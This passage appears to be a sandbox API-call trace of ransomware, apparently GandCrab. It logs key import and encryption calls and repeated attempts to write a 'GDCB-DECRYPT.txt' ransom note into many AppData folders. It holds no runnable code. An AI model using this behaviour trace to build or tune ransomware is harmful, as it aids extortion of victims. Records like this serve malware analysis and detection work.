dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0170.494] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5f5eb0) returned 1 [0170.494] CryptGetKeyParam (in: hKey=0x5f5eb0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0170.494] CryptEncrypt (in: hKey=0x5f5eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x28e0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x28e0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0170.494] GetLastError () returned 0x0 [0170.494] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.494] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.494] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\InputPersonalization\\\\GDCB-DECRYPT.txt") returned 288 [0170.494] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\InputPersonalization\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\inputpersonalization\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.494] GetLastError () returned 0x3 [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.494] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\\\GDCB-DECRYPT.txt") returned 285 [0170.494] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.494] GetLastError () returned 0x3 [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.494] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.495] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.495] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.495] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\\\GDCB-DECRYPT.txt") returned 280 [0170.495] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.495] GetLastError () returned 0x3 [0170.495] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.495] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.495] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.495] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.495] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\\\GDCB-DECRYPT.txt") returned 274 [0170.495] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.495] GetLastError () returned 0x3 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.496] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\\\GDCB-DECRYPT.txt") returned 279 [0170.496] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.496] GetLastError () returned 0x3 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.496] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\OTele\\\\GDCB-DECRYPT.txt") returned 280 [0170.496] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\OTele\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\otele\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.496] GetLastError () returned 0x3 [0170.496] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\PowerP16.customUI") returned 274 [0170.496] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\PowerP16.customUI") returned 274 [0170.496] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Word16.customUI") returned 272 [0170.496] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Word16.customUI") returned 272 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.496] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.496] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\\\GDCB-DECRYPT.txt") returned 276 [0170.496] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.496] GetLastError () returned 0x3 [0170.497] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.497] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.497] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.497] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.497] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\\\GDCB-DECRYPT.txt") returned 275 [0170.497] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.497] GetLastError () returned 0x3 [0170.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.498] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\\\GDCB-DECRYPT.txt") returned 280 [0170.498] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.498] GetLastError () returned 0x3 [0170.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.498] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\\\GDCB-DECRYPT.txt") returned 275 [0170.498] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.498] GetLastError () returned 0x3 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.499] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Gliding\\\\GDCB-DECRYPT.txt") returned 283 [0170.499] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\Gliding\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\gliding\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.499] GetLastError () returned 0x3 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.499] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\PlayReady\\\\GDCB-DECRYPT.txt") returned 277 [0170.499] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\PlayReady\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\playready\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.499] GetLastError () returned 0x3 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.499] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\\\GDCB-DECRYPT.txt") returned 287 [0170.499] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\taskschedulerconfig\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.499] GetLastError () returned 0x3 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.499] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.499] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TokenBroker\\\\GDCB-DECRYPT.txt") returned 279 [0170.500] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TokenBroker\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\tokenbroker\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.500] GetLastError () returned 0x3 [0170.500] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.500] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.500] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.500] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.500] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Vault\\\\GDCB-DECRYPT.txt") returned 273 [0170.500] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application 